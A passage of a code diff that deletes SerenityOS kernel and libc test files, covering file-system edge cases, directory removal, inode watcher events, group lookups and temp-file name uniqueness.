char buffer[16];
|
||||
int nread = read(fd, buffer, sizeof(buffer));
|
||||
if (nread != 0) {
|
||||
warnln("Expected 0-length read past end of file in /tmp");
|
||||
}
|
||||
rc = close(fd);
|
||||
VERIFY(rc == 0);
|
||||
rc = unlink("/tmp/x");
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(sysfs_read_past_uptime_end)
|
||||
{
|
||||
int fd = open("/sys/kernel/uptime", O_RDONLY);
|
||||
VERIFY(fd >= 0);
|
||||
|
||||
int rc = lseek(fd, 4096, SEEK_SET);
|
||||
VERIFY(rc == 4096);
|
||||
|
||||
char buffer[16];
|
||||
int nread = read(fd, buffer, sizeof(buffer));
|
||||
if (nread != 0) {
|
||||
warnln("Expected 0-length read past end of file in /proc");
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
|
||||
TEST_CASE(open_create_device)
|
||||
{
|
||||
int fd = open("/tmp/fakedevice", (O_RDWR | O_CREAT), (S_IFCHR | 0600));
|
||||
VERIFY(fd >= 0);
|
||||
|
||||
struct stat st;
|
||||
int rc = fstat(fd, &st);
|
||||
EXPECT(rc >= 0);
|
||||
if (rc < 0) {
|
||||
perror("stat");
|
||||
}
|
||||
|
||||
EXPECT_EQ(st.st_mode, 0100600);
|
||||
if (st.st_mode != 0100600) {
|
||||
warnln("Expected mode 0100600 after attempt to create a device node with open(O_CREAT), mode={:o}", st.st_mode);
|
||||
}
|
||||
rc = unlink("/tmp/fakedevice");
|
||||
EXPECT_EQ(rc, 0);
|
||||
close(fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(unlink_symlink)
|
||||
{
|
||||
int rc = symlink("/proc/2/foo", "/tmp/linky");
|
||||
EXPECT(rc >= 0);
|
||||
if (rc < 0) {
|
||||
perror("symlink");
|
||||
}
|
||||
|
||||
auto target = TRY_OR_FAIL(FileSystem::read_link("/tmp/linky"sv));
|
||||
EXPECT_EQ(target, "/proc/2/foo"sv);
|
||||
|
||||
rc = unlink("/tmp/linky");
|
||||
EXPECT(rc >= 0);
|
||||
if (rc < 0) {
|
||||
perror("unlink");
|
||||
warnln("Expected unlink() of a symlink into an unreadable directory to succeed!");
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(tmpfs_eoverflow)
|
||||
{
|
||||
int fd = open("/tmp/x", O_RDWR | O_CREAT);
|
||||
EXPECT(fd >= 0);
|
||||
|
||||
off_t rc = lseek(fd, INT64_MAX, SEEK_SET);
|
||||
EXPECT_EQ(rc, INT64_MAX);
|
||||
|
||||
char buffer[16] {};
|
||||
char empty_buffer[16] {};
|
||||
|
||||
rc = read(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EOVERFLOW);
|
||||
|
||||
[[maybe_unused]] auto ignored = strlcpy(buffer, "abcdefghijklmno", sizeof(buffer) - 1);
|
||||
|
||||
rc = write(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EOVERFLOW);
|
||||
if (rc >= 0 || errno != EOVERFLOW) {
|
||||
warnln("Expected EOVERFLOW when trying to write past INT64_MAX");
|
||||
}
|
||||
|
||||
// ok now, write something to it, and try again
|
||||
rc = lseek(fd, 0, SEEK_SET);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = write(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, 16);
|
||||
|
||||
rc = lseek(fd, INT64_MAX, SEEK_SET);
|
||||
EXPECT_EQ(rc, INT64_MAX);
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
rc = read(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EOVERFLOW);
|
||||
if (rc >= 0 || errno != EOVERFLOW) {
|
||||
warnln("Expected EOVERFLOW when trying to read past INT64_MAX");
|
||||
}
|
||||
EXPECT_EQ(0, memcmp(buffer, empty_buffer, sizeof(buffer)));
|
||||
|
||||
rc = close(fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = unlink("/tmp/x");
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(tmpfs_massive_file)
|
||||
{
|
||||
int fd = open("/tmp/x", O_RDWR | O_CREAT);
|
||||
EXPECT(fd >= 0);
|
||||
|
||||
off_t rc = lseek(fd, INT32_MAX, SEEK_SET);
|
||||
EXPECT_EQ(rc, INT32_MAX);
|
||||
|
||||
char buffer[16] {};
|
||||
rc = read(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
[[maybe_unused]] auto ignored = strlcpy(buffer, "abcdefghijklmno", sizeof(buffer) - 1);
|
||||
|
||||
rc = write(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, 16);
|
||||
|
||||
// ok now, write something to it, and try again
|
||||
rc = lseek(fd, 0, SEEK_SET);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = write(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, 16);
|
||||
|
||||
rc = lseek(fd, INT32_MAX, SEEK_SET);
|
||||
EXPECT_EQ(rc, INT32_MAX);
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
rc = read(fd, buffer, sizeof(buffer));
|
||||
EXPECT_EQ(rc, 16);
|
||||
EXPECT(buffer != "abcdefghijklmno"sv);
|
||||
|
||||
rc = close(fd);
|
||||
EXPECT_EQ(rc, 0);
|
||||
rc = unlink("/tmp/x");
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(rmdir_dot)
|
||||
{
|
||||
int rc = mkdir("/home/anon/rmdir-test-1", 0700);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = rmdir("/home/anon/rmdir-test-1/.");
|
||||
EXPECT_NE(rc, 0);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
rc = chdir("/home/anon/rmdir-test-1");
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = rmdir(".");
|
||||
VERIFY(rc != 0);
|
||||
EXPECT_EQ(errno, EINVAL);
|
||||
|
||||
rc = rmdir("/home/anon/rmdir-test-1");
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(rmdir_dot_dot)
|
||||
{
|
||||
int rc = mkdir("/home/anon/rmdir-test-2", 0700);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = mkdir("/home/anon/rmdir-test-2/foo", 0700);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = rmdir("/home/anon/rmdir-test-2/foo/..");
|
||||
EXPECT_NE(rc, 0);
|
||||
EXPECT_EQ(errno, ENOTEMPTY);
|
||||
|
||||
rc = rmdir("/home/anon/rmdir-test-2/foo");
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = rmdir("/home/anon/rmdir-test-2");
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(rmdir_someone_elses_directory_in_my_sticky_directory)
|
||||
{
|
||||
// NOTE: This test only works when run as root, since it has to chown a directory to someone else.
|
||||
if (getuid() != 0)
|
||||
return;
|
||||
|
||||
// Create /tmp/sticky-dir a sticky directory owned by 12345:12345
|
||||
// Then, create /tmp/sticky-dir/notmine, a normal directory owned by 23456:23456
|
||||
// Then, fork and seteuid to 12345, and try to rmdir the "notmine" directory. This should succeed.
|
||||
// In the parent, waitpid on the child, and finally rmdir /tmp/sticky-dir
|
||||
|
||||
int rc = mkdir("/tmp/sticky-dir", 01777);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = chown("/tmp/sticky-dir", 12345, 12345);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = mkdir("/tmp/sticky-dir/notmine", 0700);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = chown("/tmp/sticky-dir/notmine", 23456, 23456);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
int pid = fork();
|
||||
EXPECT(pid >= 0);
|
||||
|
||||
if (pid == 0) {
|
||||
// We are in the child.
|
||||
rc = seteuid(12345);
|
||||
EXPECT_EQ(rc, 0);
|
||||
|
||||
rc = rmdir("/tmp/sticky-dir/notmine");
|
||||
EXPECT_EQ(rc, 0);
|
||||
_exit(0);
|
||||
}
|
||||
|
||||
int status = 0;
|
||||
waitpid(pid, &status, 0);
|
||||
|
||||
rc = rmdir("/tmp/sticky-dir");
|
||||
EXPECT_EQ(rc, 0);
|
||||
}
|
||||
|
||||
TEST_CASE(rmdir_while_inside_dir)
|
||||
{
|
||||
int rc = mkdir("/home/anon/testdir", 0700);
|
||||
VERIFY(rc == 0);
|
||||
|
||||
rc = chdir("/home/anon/testdir");
|
||||
VERIFY(rc == 0);
|
||||
|
||||
rc = rmdir("/home/anon/testdir");
|
||||
VERIFY(rc == 0);
|
||||
|
||||
int fd = open("x", O_CREAT | O_RDWR, 0600);
|
||||
EXPECT(fd < 0);
|
||||
EXPECT_EQ(errno, ENOENT);
|
||||
if (fd >= 0 || errno != ENOENT) {
|
||||
warnln("Expected ENOENT when trying to create a file inside a deleted directory. Got {} with errno={}", fd, errno);
|
||||
}
|
||||
|
||||
rc = chdir("/home/anon");
|
||||
VERIFY(rc == 0);
|
||||
}
|
||||
|
||||
TEST_CASE(writev)
|
||||
{
|
||||
int pipefds[2];
|
||||
int rc = pipe(pipefds);
|
||||
EXPECT(rc == 0);
|
||||
|
||||
iovec iov[2];
|
||||
iov[0].iov_base = const_cast<void*>((void const*)"Hello");
|
||||
iov[0].iov_len = 5;
|
||||
iov[1].iov_base = const_cast<void*>((void const*)"Friends");
|
||||
iov[1].iov_len = 7;
|
||||
int nwritten = writev(pipefds[1], iov, 2);
|
||||
EXPECT_EQ(nwritten, 12);
|
||||
if (nwritten < 0) {
|
||||
perror("writev");
|
||||
}
|
||||
if (nwritten != 12) {
|
||||
warnln("Didn't write 12 bytes to pipe with writev");
|
||||
}
|
||||
|
||||
char buffer[32] {};
|
||||
int nread = read(pipefds[0], buffer, sizeof(buffer));
|
||||
EXPECT_EQ(nread, 12);
|
||||
EXPECT_EQ(buffer, "HelloFriends"sv);
|
||||
if (nread != 12 || memcmp(buffer, "HelloFriends", 12)) {
|
||||
warnln("Didn't read the expected data from pipe after writev");
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
close(pipefds[0]);
|
||||
close(pipefds[1]);
|
||||
}
|
||||
|
||||
TEST_CASE(rmdir_root)
|
||||
{
|
||||
int rc = rmdir("/");
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EBUSY);
|
||||
if (rc != -1 || errno != EBUSY) {
|
||||
warnln("rmdir(/) didn't fail with EBUSY");
|
||||
}
|
||||
}
|
||||
|
||||
TEST_CASE(open_silly_things)
|
||||
{
|
||||
int rc = -1;
|
||||
EXPECT_ERROR_2(ENOTDIR, open, "/dev/zero", (O_DIRECTORY | O_RDONLY));
|
||||
EXPECT_ERROR_2(EINVAL, open, "/dev/zero", (O_DIRECTORY | O_CREAT | O_RDWR));
|
||||
EXPECT_ERROR_2(EEXIST, open, "/dev/zero", (O_CREAT | O_EXCL | O_RDWR));
|
||||
EXPECT_ERROR_2(EINVAL, open, "/tmp/abcdef", (O_DIRECTORY | O_CREAT | O_RDWR));
|
||||
EXPECT_ERROR_2(EACCES, open, "/sys/kernel/processes", (O_RDWR));
|
||||
EXPECT_ERROR_2(ENOENT, open, "/boof/baaf/nonexistent", (O_CREAT | O_RDWR));
|
||||
EXPECT_ERROR_2(EISDIR, open, "/tmp", (O_DIRECTORY | O_RDWR));
|
||||
EXPECT_ERROR_2(EPERM, link, "/", "/home/anon/lolroot");
|
||||
}
|
|
@ -1,27 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <dirent.h>
|
||||
#include <string.h>
|
||||
|
||||
TEST_CASE(scandir_basic_scenario)
|
||||
{
|
||||
struct dirent** namelist = nullptr;
|
||||
auto entries = scandir("/etc", &namelist, nullptr, nullptr);
|
||||
EXPECT(entries > 0);
|
||||
EXPECT_NE(namelist, nullptr);
|
||||
|
||||
bool found_passwd = false;
|
||||
for (auto i = 0; i < entries; i++) {
|
||||
if (strcmp(namelist[i]->d_name, "passwd") == 0) {
|
||||
found_passwd = true;
|
||||
}
|
||||
free(namelist[i]);
|
||||
}
|
||||
EXPECT(found_passwd);
|
||||
free(namelist);
|
||||
}
|
|
@ -1,26 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2020, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(exec_should_not_search_current_directory)
|
||||
{
|
||||
int fd = open("hax", O_CREAT | O_RDWR, 0755);
|
||||
ftruncate(fd, 0);
|
||||
close(fd);
|
||||
|
||||
int rc = execlp("hax", "hax", nullptr);
|
||||
int saved_errno = errno;
|
||||
perror("execlp");
|
||||
unlink("hax");
|
||||
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_NE(saved_errno, ENOEXEC);
|
||||
}
|
|
@ -1,102 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2018-2023, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <AK/HashTable.h>
|
||||
#include <LibTest/Macros.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <grp.h>
|
||||
|
||||
void check_correctness(struct group* gr);
|
||||
|
||||
void check_correctness(struct group* gr)
|
||||
{
|
||||
EXPECT_NE(gr, nullptr);
|
||||
EXPECT_EQ(gr->gr_gid, (gid_t)3);
|
||||
EXPECT_EQ(gr->gr_name, "phys"sv);
|
||||
EXPECT_EQ(gr->gr_passwd, "x"sv);
|
||||
|
||||
HashTable<ByteString> members;
|
||||
for (char** mem = gr->gr_mem; *mem; ++mem) {
|
||||
members.set(ByteString(*mem));
|
||||
}
|
||||
|
||||
EXPECT_EQ(true, members.contains("window"sv));
|
||||
EXPECT_EQ(true, members.contains("anon"sv));
|
||||
}
|
||||
|
||||
TEST_CASE(getgrid_returns_correct_value)
|
||||
{
|
||||
// From Base/etc/group
|
||||
// phys:x:3:window,anon
|
||||
struct group* gr = getgrgid(3);
|
||||
|
||||
check_correctness(gr);
|
||||
|
||||
gr = getgrgid(99999);
|
||||
EXPECT_EQ(gr, nullptr);
|
||||
}
|
||||
|
||||
TEST_CASE(getgrid_r_uses_provided_buffer)
|
||||
{
|
||||
// From Base/etc/group
|
||||
// phys:x:3:window,anon
|
||||
|
||||
struct group g;
|
||||
struct group* res;
|
||||
AK::Array<char, 1024> buffer;
|
||||
|
||||
setgrent();
|
||||
int rc = getgrgid_r(3, &g, buffer.data(), buffer.size(), &res);
|
||||
endgrent();
|
||||
EXPECT_EQ(rc, 0);
|
||||
check_correctness(&g);
|
||||
EXPECT_EQ(res, &g);
|
||||
|
||||
auto is_pointer_in_range = [&buffer](void* ptr) {
|
||||
return (buffer.data() <= ptr) && (ptr < buffer.data() + buffer.size());
|
||||
};
|
||||
|
||||
EXPECT(is_pointer_in_range(g.gr_mem));
|
||||
EXPECT(is_pointer_in_range(g.gr_name));
|
||||
|
||||
char** mem = g.gr_mem;
|
||||
for (; *mem; ++mem) {
|
||||
EXPECT(is_pointer_in_range(mem));
|
||||
EXPECT(is_pointer_in_range(*mem));
|
||||
}
|
||||
EXPECT(is_pointer_in_range(mem));
|
||||
}
|
||||
|
||||
TEST_CASE(getgrname_r_uses_provided_buffer)
|
||||
{
|
||||
// From Base/etc/group
|
||||
// phys:x:3:window,anon
|
||||
|
||||
struct group g;
|
||||
struct group* res;
|
||||
AK::Array<char, 1024> buffer;
|
||||
setgrent();
|
||||
int rc = getgrnam_r("phys", &g, buffer.data(), buffer.size(), &res);
|
||||
endgrent();
|
||||
EXPECT_EQ(rc, 0);
|
||||
check_correctness(&g);
|
||||
EXPECT_EQ(res, &g);
|
||||
|
||||
auto is_pointer_in_range = [&buffer](void* ptr) {
|
||||
return (buffer.data() <= ptr) && (ptr < buffer.data() + buffer.size());
|
||||
};
|
||||
|
||||
EXPECT(is_pointer_in_range(g.gr_mem));
|
||||
EXPECT(is_pointer_in_range(g.gr_name));
|
||||
|
||||
char** mem = g.gr_mem;
|
||||
for (; *mem; ++mem) {
|
||||
EXPECT(is_pointer_in_range(mem));
|
||||
EXPECT(is_pointer_in_range(*mem));
|
||||
}
|
||||
EXPECT(is_pointer_in_range(mem));
|
||||
}
|
|
@ -1,169 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, sin-ack <sin-ack@protonmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/NumericLimits.h>
|
||||
#include <Kernel/API/InodeWatcherEvent.h>
|
||||
#include <Kernel/API/InodeWatcherFlags.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <utime.h>
|
||||
|
||||
u8 buffer[MAXIMUM_EVENT_SIZE];
|
||||
InodeWatcherEvent* event = reinterpret_cast<InodeWatcherEvent*>(buffer);
|
||||
|
||||
static int read_event(int fd)
|
||||
{
|
||||
int rc = read(fd, &buffer, MAXIMUM_EVENT_SIZE);
|
||||
return rc;
|
||||
}
|
||||
|
||||
static ByteString get_event_name()
|
||||
{
|
||||
if (event->name_length == 0)
|
||||
return ByteString();
|
||||
|
||||
return ByteString { event->name, event->name_length - 1 };
|
||||
}
|
||||
|
||||
TEST_CASE(inode_watcher_metadata_modified_event)
|
||||
{
|
||||
int fd = create_inode_watcher(0);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int test_fd = creat("/tmp/testfile", 0777);
|
||||
EXPECT_NE(test_fd, -1);
|
||||
|
||||
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::MetadataModified));
|
||||
EXPECT_NE(wd, -1);
|
||||
|
||||
// "touch" the file
|
||||
int rc = utime("/tmp/testfile", nullptr);
|
||||
EXPECT_NE(rc, -1);
|
||||
|
||||
rc = read_event(fd);
|
||||
EXPECT_EQ(event->watch_descriptor, wd);
|
||||
EXPECT_EQ(event->type, InodeWatcherEvent::Type::MetadataModified);
|
||||
|
||||
close(fd);
|
||||
close(test_fd);
|
||||
unlink("/tmp/testfile");
|
||||
}
|
||||
|
||||
TEST_CASE(inode_watcher_content_modified_event)
|
||||
{
|
||||
int fd = create_inode_watcher(0);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int test_fd = creat("/tmp/testfile", 0777);
|
||||
EXPECT_NE(test_fd, -1);
|
||||
|
||||
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::ContentModified));
|
||||
EXPECT_NE(wd, -1);
|
||||
|
||||
int rc = write(test_fd, "test", 4);
|
||||
EXPECT_NE(rc, -1);
|
||||
|
||||
rc = read_event(fd);
|
||||
EXPECT_NE(rc, -1);
|
||||
EXPECT_EQ(event->watch_descriptor, wd);
|
||||
EXPECT_EQ(event->type, InodeWatcherEvent::Type::ContentModified);
|
||||
|
||||
close(fd);
|
||||
close(test_fd);
|
||||
unlink("/tmp/testfile");
|
||||
}
|
||||
|
||||
TEST_CASE(inode_watcher_deleted_event)
|
||||
{
|
||||
int fd = create_inode_watcher(0);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int test_fd = creat("/tmp/testfile", 0777);
|
||||
EXPECT_NE(test_fd, -1);
|
||||
|
||||
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::Deleted));
|
||||
EXPECT_NE(wd, -1);
|
||||
|
||||
int rc = unlink("/tmp/testfile");
|
||||
EXPECT_NE(rc, -1);
|
||||
|
||||
rc = read_event(fd);
|
||||
EXPECT_NE(rc, -1);
|
||||
EXPECT_EQ(event->watch_descriptor, wd);
|
||||
EXPECT_EQ(event->type, InodeWatcherEvent::Type::Deleted);
|
||||
|
||||
close(fd);
|
||||
close(test_fd);
|
||||
}
|
||||
|
||||
TEST_CASE(inode_watcher_child_events)
|
||||
{
|
||||
int fd = create_inode_watcher(0);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int wd = inode_watcher_add_watch(fd, "/tmp/", 5, static_cast<unsigned>(InodeWatcherEvent::Type::ChildCreated | InodeWatcherEvent::Type::ChildDeleted));
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int rc = creat("/tmp/testfile", 0777);
|
||||
EXPECT_NE(rc, -1);
|
||||
|
||||
rc = read_event(fd);
|
||||
EXPECT_NE(rc, -1);
|
||||
EXPECT_EQ(event->watch_descriptor, wd);
|
||||
EXPECT_EQ(event->type, InodeWatcherEvent::Type::ChildCreated);
|
||||
VERIFY(event->name_length > 0);
|
||||
EXPECT_EQ(get_event_name(), "testfile");
|
||||
|
||||
rc = unlink("/tmp/testfile");
|
||||
EXPECT_NE(rc, -1);
|
||||
|
||||
rc = read_event(fd);
|
||||
EXPECT_NE(rc, -1);
|
||||
EXPECT_EQ(event->watch_descriptor, wd);
|
||||
EXPECT_EQ(event->type, InodeWatcherEvent::Type::ChildDeleted);
|
||||
VERIFY(event->name_length > 0);
|
||||
EXPECT_EQ(get_event_name(), "testfile");
|
||||
|
||||
close(fd);
|
||||
}
|
||||
|
||||
TEST_CASE(inode_watcher_closes_children_on_close)
|
||||
{
|
||||
int fd = create_inode_watcher(0);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int test_fd = creat("/tmp/testfile", 0777);
|
||||
EXPECT_NE(test_fd, -1);
|
||||
int wd = inode_watcher_add_watch(fd, "/tmp/testfile", 13, static_cast<unsigned>(InodeWatcherEvent::Type::MetadataModified));
|
||||
EXPECT_NE(wd, -1);
|
||||
|
||||
int rc = utime("/tmp/testfile", nullptr);
|
||||
EXPECT_NE(rc, -1);
|
||||
|
||||
close(fd);
|
||||
|
||||
rc = read_event(fd);
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EBADF);
|
||||
|
||||
close(test_fd);
|
||||
unlink("/tmp/testfile");
|
||||
}
|
||||
|
||||
TEST_CASE(inode_watcher_nonblock)
|
||||
{
|
||||
int fd = create_inode_watcher(static_cast<unsigned>(InodeWatcherFlags::Nonblock));
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
int rc = read_event(fd);
|
||||
EXPECT_EQ(rc, -1);
|
||||
EXPECT_EQ(errno, EAGAIN);
|
||||
|
||||
close(fd);
|
||||
}
|
|
@ -1,165 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/ByteString.h>
|
||||
#include <LibFileSystem/FileSystem.h>
|
||||
#include <LibTest/TestCase.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
|
||||
TEST_CASE(test_mktemp_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT(ptr != MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mktemp.XXXXXX";
|
||||
auto temp_path = ByteString::formatted("{}", mktemp(path));
|
||||
EXPECT(temp_path.characters());
|
||||
unlink(path);
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mktemp.XXXXXX";
|
||||
auto path2 = ByteString::formatted("{}", mktemp(path));
|
||||
EXPECT(path2.characters());
|
||||
unlink(path);
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
||||
|
||||
TEST_CASE(test_mkdtemp_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT_NE(ptr, MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mkdtemp.XXXXXX";
|
||||
auto temp_path = ByteString::formatted("{}", mkdtemp(path));
|
||||
EXPECT(temp_path.characters());
|
||||
rmdir(path);
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mkdtemp.XXXXXX";
|
||||
auto path2 = ByteString::formatted("{}", mkdtemp(path));
|
||||
EXPECT(path2.characters());
|
||||
rmdir(path);
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
||||
|
||||
TEST_CASE(test_mkstemp_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT_NE(ptr, MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mkstemp.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
auto temp_path = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
|
||||
EXPECT(temp_path.characters());
|
||||
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mkstemp.XXXXXX";
|
||||
auto fd = mkstemp(path);
|
||||
EXPECT(fd != -1);
|
||||
|
||||
auto path2 = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
|
||||
EXPECT(path2.characters());
|
||||
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
||||
|
||||
TEST_CASE(test_mkstemps_unique_filename)
|
||||
{
|
||||
u8* ptr = (u8*)mmap(nullptr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
|
||||
EXPECT_NE(ptr, MAP_FAILED);
|
||||
|
||||
if (fork() == 0) {
|
||||
char path[] = "/tmp/test.mkstemps.prefixXXXXXXsuffix";
|
||||
auto fd = mkstemps(path, 6);
|
||||
EXPECT_NE(fd, -1);
|
||||
|
||||
auto temp_path = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
|
||||
EXPECT(temp_path.characters());
|
||||
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(temp_path.starts_with("/tmp/test.mkstemps.prefix"sv));
|
||||
EXPECT(temp_path.ends_with("suffix"sv));
|
||||
EXPECT_EQ(strlen(path), temp_path.length());
|
||||
|
||||
memcpy(&ptr[0], temp_path.characters(), temp_path.length());
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
} else {
|
||||
wait(NULL);
|
||||
|
||||
auto path1 = ByteString::formatted("{}", reinterpret_cast<char const*>(ptr));
|
||||
|
||||
char path[] = "/tmp/test.mkstemps.prefixXXXXXXsuffix";
|
||||
auto fd = mkstemps(path, 6);
|
||||
EXPECT(fd != -1);
|
||||
|
||||
auto path2 = TRY_OR_FAIL(FileSystem::read_link(ByteString::formatted("/proc/{}/fd/{}", getpid(), fd)));
|
||||
EXPECT(path2.characters());
|
||||
|
||||
close(fd);
|
||||
unlink(path);
|
||||
|
||||
EXPECT(path2.starts_with("/tmp/test.mkstemps.prefix"sv));
|
||||
EXPECT(path2.ends_with("suffix"sv));
|
||||
EXPECT_EQ(strlen(path), path2.length());
|
||||
|
||||
EXPECT_NE(path1, path2);
|
||||
}
|
||||
|
||||
munmap(ptr, sizeof(*ptr));
|
||||
}
|
|
@ -1,119 +0,0 @@
|
|||
/*
|
||||
* Copyright (c) 2023, Marcus Nilsson <marcus.nilsson@genarp.com>
|
||||
*
